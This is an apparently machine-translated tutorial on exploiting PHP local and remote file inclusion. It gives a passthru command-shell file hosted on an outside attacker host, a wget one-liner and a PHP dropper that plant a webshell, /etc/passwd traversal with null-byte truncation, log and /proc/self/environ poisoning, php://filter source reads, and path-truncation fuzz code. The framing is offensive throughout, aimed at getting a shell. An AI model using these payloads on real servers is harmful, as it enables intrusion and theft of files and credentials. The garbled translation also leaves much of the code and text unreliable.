PHP File Inclusion Vulnerability details (including truncation methods)

Source: Internet
Author: User

1. What is "Remote File Inclusion Vulnerability "?
The answer is: when the server uses the php feature (function) to include any file, the source of the file to be included is not strictly filtered, so that it can contain a malicious file, however, we can construct this malicious file to achieve evil purposes.
Dangerous functions involved: include (), require (), include_once (), require_once ()
Include: contains and runs the specified file. When an error occurs in the contained external file, the system gives a warning, but the entire PHP file continues to be executed.
Require: The only difference from include is that when an error is generated, the request will continue to run under include and stop running.
Include_once: This function works almost the same as the include function, but it checks whether the file is imported before the function is imported. If it has already been executed, it will not be repeated.
Require_once: the difference between this function and require is the same as include and include_once mentioned above. So I won't repeat it.
Php. ini configuration file: allow_url_fopen = off: remote files cannot be included. Php4 exists remotely and locally, and php5 exists locally only.
2. Why file inclusion?
When programmers write programs, they do not like to do the same thing or write the same code (such as some common functions) several times, therefore, the public code is written in a separate file, such as share. php, and then include the call in other files. In php, we use the functions listed above to achieve this goal. The workflow is as follows. php contains share. php, I will write include ("share. php), and then you can use share. php functions, such as the name of the file that needs to be written to death, have no problems or vulnerabilities. So what exactly is the problem?
Sometimes you may not be sure which file to include. For example, let's look at the index. php code of the file below:
If ($ _ GET [page]) {
Include $ _ GET [page];
} Else {
Include "home. php ";
}
A piece of PHP code is normal. How does it work?
The format of the above Code may be as follows:
Http://hi.baidu.com/m4r10/php/index.php? Page = main. php or
Http://hi.baidu.com/m4r10/php/index.php? Page = downloads. php
Based on the above Code, let's briefly describe how it works:
1. Submit the URL above and obtain the value of this page in index. php ($ _ GET [page]).
2. Check whether $ _ GET [page] is empty. If it is not empty (main. php here), use include to include this file.
3. If $ _ GET [page] is empty, run else to include the "home. php" file.
3. Why is there a vulnerability?
You may want to say that this is good. It is very convenient to dynamically include files according to URLs. How can this cause a vulnerability? The answer to the question is: we are not clever, we always like to be different from others, we will not follow his link to operate, we may want to write their own files to contain (CALL, for example, we will randomly enter the following URL: http: // hi.baidu.com/m4r10/php/index. php? Page = hello. php. Then our index. the php program is silly and follows the steps above to execute: Get page as hello. php, and then go to include (hello. php), then the problem occurs, because we do not have hello. php file, so it will report a warning when it is included, similar to the following information:
Warning: include (hello. php) [function. include]: failed to open stream: No such file or directory in/vhost/wwwroot/php/index. php on line 3
Warning: include () [function. include]: Failed opening 'Hello. php 'for declaration (include_path = '.: ') in/vhost/wwwroot/php/index. php on line 3
Note that the preceding Warning cannot find the specified hello. the PHP file, that is, the file that does not contain the specified path. The following warning is that the specified file is not found before, so a warning is given when the file is included.
4. How to use it?
As we can see above, there is a problem, so how can we use such a vulnerability? There are actually a lot of exploitation methods, but they are essentially similar. Here I will talk about three common exploitation methods:
1.Including reading other files on the target machine
As we can see above, because the obtained parameter page is not filtered, We can randomly specify other sensitive files on the target host, such as in the previous warning, we can see the exposed absolute path (vhost/wwwroot/php/), so we can detect multiple times to include other files, such as specifying the URL: http://hi.baidu.com/m4r10/php/index. php? Page =. /txt.txtcan be used to read the TXT file from the current directory .. /.. /perform directory jump (without filtering .. /); you can also directly specify the absolute path to read sensitive system files, such as this URL: http://hi.baidu.com/m4r10/php/index. php? Page =/etc/passwd. If the target host does not have strict permission restrictions, or the Apache startup permission is relatively high, you can read the content of this file. Otherwise, a Warning similar to open_basedir restriction in effect. Will be obtained (this is because the access directory is restricted in apache open_basedir ).
2.Remote files include runnablePHPTrojan
If the "allow_url_fopen" of the target host is activated (activated by default, but few will modify it), we can have a larger space for use, we can specify a webshellcontaining PHP code on other URLs for direct operation. For example, I first write the PHP code of the runtime command, for example, save it as cmd.txt (the suffix is not important, as long as the content is in the PHP format ).
If (get_magic_quotes_gpc ()){
$ _ REQUEST ["cmd"] = stripslashes ($ _ REQUEST ["cmd"]);} // remove the Escape Character (the backslash character in the string can be removed)
Ini_set ("max_execution_time", 0); // set the execution time for this file. 0 is unlimited.
Echo "M4R10 start line"; // the start line message returned by the print
Passthru ($ _ REQUEST ["cmd"]); // run the command specified by cmd
Echo "M4R10 end row"; // The returned end row message
?>
The purpose of the above file is to accept the command specified by cmd and call the passthru function for execution. The content is returned between the M4R10 start line and M4R10 end line. Save this file to the server on our host (it can be a host that does not support PHP), as long as it can be accessed through HTTP, for example, the address is http://www.xxx.cn/#.txt. then we can construct urlto facilitate the application in this example:
A http://hi.baidu.com/m4r10/php/index. php? Page = http://www.xxx.cn/cmd.txt? Cmd = ls
Cmd is followed by the command you need to execute. Other commonly used commands (take * UNIX as an example) are as follows:
Ll column directory and file (equivalent to dir in Windows)
Pwd to view the current absolute path
Id whoami view current user
Wget downloads the file of the specified URL
Wait for others. Go to BAIDU to find the host.
3.Contains a filePHPFiles (commonly used)
Some people may think that it is more reassuring to get a real Webshell on the target machine. If someone finds that the vulnerability is fixed, we can no longer remotely include the "pseudo" Webshell above, right? We can understand this mentality. Let's continue. To get a real Webshell, we also talk about two common methods:
1)UseWgetTo downloadWebshell
This is simple and often used. In the pseudo webshell we obtained above, we can execute commands, so we can also call a very powerful role in the system, wget, this command is powerful. You can use google to get a lot of parameters, and it will definitely confuse you. Haha, we don't need to be so complicated. We will use a-O (-output-document = FILE, write the document to the FILE.
The premise is that you put a Webshell containing PHP code in a place that can be accessed through HTTP or FTP, such as http://www.xxx.cn/m4r10.txt. the content of webshellis written in this file. Then, execute the following URL in the pseudo Webshell obtained above:
Http://hi.baidu.com/m4r10/php/index.php? Page = http://www.xxx.cn/cmd.txt? Cmd = wget http://www.xxx.cn/m4r10.txt-O m4r10. php
If the current directory is writable, you can get a Webshell named m4r10. php. If the current directory cannot be written, you need to find another method.
2) Use a file to create
The previous wget may encounter a situation where the current directory cannot be written; or the command is disabled (or not installed) on the target host, and we need to modify it again, we can combine the previous File Inclusion Vulnerability to include a PHP script for creating a file (writing a file). The content is as follows:
<? Php
$ F = file_get_contents ("http://www.xxx.cn/m4r10.txt”); // open the file stream in the specified path
$ Ff = fopen ("./upload/m4r10. php", "a"); // you can find a directory and create a file.
Fwrite ($ ff, $ f); // write the previously opened file stream to the created File
Fclose ($ ff); // close the save file
?>
Or write the PHP file we downloaded with wget, But we improved the method and implemented it with the php script. Can we use the above cmd. PHP? Cmd = ll: Find the writable directory, such as upload, and create the file under this directory:./upload/m4r10. php. Then we can get our Webshell.
4.Local file inclusion (commonly used)
Typical vulnerability code:
<? Php
Include ($ _ GET ['pages '].'. php ');
?>
Black box judgment method:
The file inclusion vulnerability may exist when the URL contains keywords such as path, dir, file, pag, page, archive, p, eng, and language files.
Use of local inclusion vulnerabilities (ignore truncation first, and the truncation method will be removed below)
1. It is ideal to include jpg, txt, rar, and other files uploaded on the same server.
2. Logs containing the system, such as apache logs and file system logs. When the apache record format is combined, the logs are usually large and cannot be included successfully. There are automated attack programs that contain logs.
The ghost blog mentioned a space issue. See
Evil space-New Breakthrough in PHP local File Inclusion Vulnerability
Http://huaidan.org/archives/1144.html
To solve the space problem, you can encrypt a sentence with base64 before writing it.
3. environment variables include/proc/self/environ. The session information for accessing the web and parameters for user-agent. The user-agent can be modified on the client. Refer:
Shell via LFI-proc/self/environ method
Http://hi.baidu.com/root_exp/blog/item/9c0571fc2d42664fd7887d7d.html
4. contains files, caches, templates, and other files generated by php programs. open-source programs have a high success rate.
5. To use local inclusion to read PHP sensitive files, PHP5 or a later version is required. The source code of "config" is as follows:
Index. php? Pages = php: // filter/read = convert. base64-encode/resource = config
In special cases, the readfile () function is used not to include execution. You can directly read the source code.
6. Use the phpinfo page getshell. Generally, the chances of phpinfo in a web group of large organizations are quite high.
Poc and Introduction Reference:
LFI temporary file using phpinfo Information
Http://hi.baidu.com/idwar/blog/item/43101de153370126279791f2.html
7. If a PHP file contains an error or contains an uninitialized variable, the variable may be attacked again as long as it is not initialized. For details, see:
Include () Local File Inclusion Vulnerability
Http://www.bkjia.com/Article/200809/29748.html
8. Cross-Site Use
Index. php? Pages = http: // 127.0.0.1/path/xss. php? Xss = phpcode (domain information should be considered)
9. contains temporary files. This method is very troublesome. Refer:
POST method uploads
Http://www.php.net/manual/en/features.file-upload.post-method.php
Solution to temporary file deletion: slow connection (Note: The premise is file_uploads = On, max_file_uploadsphp.ini file_uploads = On is added in 5.3.1, and max_file_uploads is added in 5.3.1. By default, up to 20 files are uploaded at)
Windows format: windows has a maximum of four random characters ('A'-'Z', 'a'-'Z', '0'-'9'), such as: c: /windows/temp/php3e. tmp
Linux format: 6 random characters ('A'-'Z', 'a'-'Z', '0'-'9'), for example:/tmp/phpUs7MxA
For two types of slow connection upload code, refer:
PHP security LFI vulnerability GetShell method parade
Http://www.myhack58.com/Article/html/3/62/2011/32008_2.htm
10. When the write permission directory cannot be found, inject the Directory into the log to find the write permission directory. For example, inject to log.
Linux: index. php? Pages =/var/log/apache/logs/error_log % 00 & x =/& y = uname
Windows: index. php? Pages = .. \ apache \ logs \ error. log % 00 & x =. & y = dir
For details, refer to PHP local file inclusion (LFI) vulnerability exploitation.
Http://kingbase.org/blog/php_local_file_inclusion_exploit
11. Use php wrapper, such as php: // input, php: // filter, and data: // include files in PHP 5.2.0 and allow_url_include // The allow_url_include and allow_url_include mentioned in the http://blog.php-security.org/archives/45-PHP-5.2.0-and-allow_url_include.html only protects against URL handles from being marked as URL. this affects http (s) and ftp (s), but does not affect the url formats such as php or date.
12. LFI checks whether a directory exists and a column directory, for example
** Index. php? Pages = .. /.. /.. /.. /.. /.. /var/www/dossierexistant /.. /.. /.. /.. /.. /etc/passwd % 00
** This method can be completely judged on TTYshell, but sometimes it is not feasible on the URL. Even if dossierexistant does not exist, passwd content can be displayed.
Index. php? Pages = .. /.. /.. /.. /.. /.. /var/www/dossierexistant /.. /.. /.. /.. /.. /etc/passwd % 00
** FreeBSD "directory listing with PHP file functions" http: // websec... Ress.com/2009... Php-file-functions/column directory
** If the directory does not exist, the header. php + File not found + footer. php will be returned if the directory does not exist. This logic fits the programmer's habits. I used to find a directory with deep logs to get the shell.
13. Contains the SESSION file. The default location of the php save format sess_SESSIONID is/tmp/(PHP Sessions),/var/lib/php/session/(PHP Sessions) /var/lib/php5/(PHP Sessions) and c:/windows/temp/(PHP Sessions.
14. Include/proc/self/cmdline or/proc/self/fd/find the log file (the owner is root, and root is required by default)
For details, refer:
Local File transfer Sion-Tricks of the Trade
Http://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/
Others include/var/log/auth. log, but this file is 644 by default.
15. The method that contains the usual location of maillog/var/log/maillog is also very weak. For details, refer:
Local file compression sion tricks
The link cannot be found.
16. contains a fixed file, which is very weak and can be extracted for integrity. For example, man-in-the-middle attacks are available.
Break through the limit and truncate the string behind it
When local inclusion is used, % 00 is often used to truncate the subsequent string, but % 00 is escaped when GPC is ON. Is there any other method?
Use a certain number of/break through the operating system's limit on the length of the file name to truncate the following string (it is estimated that the relative path is available)
View the vulnerability code:
<? Php
$ Webpath = dirname (_ FILE __)."/";
$ Filepath = "test.txt ";
For ($ I = 1; I I <1000; $ I ++ ){
$ Filepath. = '.';
}
Include $ webpath. $ filepath. ". php ";
?>
Test.txt code: <? Php die ('OK');?>
Failed to truncate the result. modify the code:
<? Php
$ Webpath = dirname (_ FILE __)."/";
$ Filepath = "test.txt ";
For ($ I = 1; I I <1000; $ I ++ ){
$ Filepath. = '.';
}
Include $ filepath. ". php"; // relative path
?>
This operation is successful.
The above is the method in windows. In fact, linux can also:
<? Php
$ A = '';
For ($ I = 0; $ I <= 4071; $ I ++ ){
$ A. = '/';
}
$ A = 'test.txt '. $ a; // The complete path is/var/www/test/test.txt.
Require_once ($ a. '. php ');
?>
IncludeTruncation
<? Php
Include $ _ GET ['action']. ". php ";
?>
"% 00" in "action =/etc/passwd % 00" will be truncated. php ", but is there any other character except" % 00 "that can be truncated?
Someone must have thought of the question mark "?" In the remotely included url. By submitting "action = http://www.hacksite.com/evil-code.txt ?" Here "?" Implementation of "pseudo truncation" :), as if this looks not so comfortable, then we simply write a code fuzz:
<? Php
////////////////////
/// Var5.php code:
/// Include $ _ GET ['action']. ". php ";
/// Print strlen (realpath ("./") + strlen ($ _ GET ['action']);
///////////////////
Ini_set ('max _ execution_time ', 0 );
$ Str = '';
For ($ I = 0; I I <50000; $ I ++)
{
$ Str = $ str ."/";

$ Resp = file_get_contents ('HTTP: // 127.0.0.1/var/var5.php? Action=1.txt '. $ str );
// The code in 1.txt is print 'Hi ';
If (strpos ($ resp, 'Hi ')! = False ){
Print $ I;
Exit;
}
}
?>
Tested character ". ","/", or a combination of two characters will be truncated at a certain length. The length of the win system is different from that of the * nix system. When the strlen (realpath (". /") + strlen ($ _ GET ['action']) is truncated when the length is greater than 256. For * nix, the length is 4*1024 = 4096. You can use the above technique to include local files when setting Remote File close in php. ini. (This vulnerability was first discovered by cloie # ph4nt0m.org])
 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.